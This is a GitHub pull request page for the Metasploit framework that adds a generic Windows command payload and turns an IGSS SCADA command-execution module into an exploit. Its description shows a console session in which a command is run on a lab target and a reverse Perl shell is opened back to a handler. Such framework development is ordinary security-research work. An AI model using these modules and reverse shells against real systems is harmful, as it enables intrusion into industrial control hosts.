Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support Windows CMD generic payload #2539

Merged
merged 1 commit into from Oct 21, 2013

Conversation

jvazquez-r7
Copy link
Contributor

This module adds Windows CMD generic payload (which mimics the unix one).

With cmd generic payload should be easier avoid auxiliary modules or exploits with a CMD datastore option to just execute a command.

If there is the ability to execute commands the way to proceed is normally with an exploit, executing a payload, and doing the specific analysis of payload length available and badchars.

In order to test the windows cmd payload I've converted the auxiliary module auxiliary/admin/scada/igss_exec_17 to an ARCH_CMD exploit. In this way windows cmd payloads, which fulfill the payload requirements, can be sued. In the next example both the cmd/windows/generic and cmd/windows/reverse_perl payloads are used:

msf exploit(igss_exec_17) > set payload cmd/windows/generic 
payload => cmd/windows/generic
msf exploit(igss_exec_17) > set CMD echo "pwned" > c:\\\\pwned.txt
CMD => echo pwned > c:\\pwned.txt
msf exploit(igss_exec_17) > rexploit
[*] Reloading module...

[*] Sending exploit packet...
msf exploit(igss_exec_17) > set payload cmd/windows/reverse_perl 
payload => cmd/windows/reverse_perl
msf exploit(igss_exec_17) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Sending exploit packet...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.244:1293) at 2013-10-17 13:52:03 -0500


type c:\\pwned.txt
pwned 
^C
Abort session 3? [y/N]  y

[*] 192.168.172.244 - Command shell session 3 closed.  Reason: User exit
msf exploit(igss_exec_17) > 

This pull request also should help to #2536, which is another exploit including CMD as datastore option to avoid the payload.

Feedback here is super welcome.

@Meatballs1
Copy link
Contributor

I wonder if powershell cmd should be somehow part of the cmd payload structure? :)

wchen-r7 added a commit that referenced this pull request Oct 21, 2013
This also upgrades auxiliary/admin/scada/igss_exec_17 to an exploit
@wchen-r7 wchen-r7 merged commit be1d6ee into rapid7:master Oct 21, 2013
@jvazquez-r7 jvazquez-r7 deleted the generic_windows_cmd branch November 18, 2014 15:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants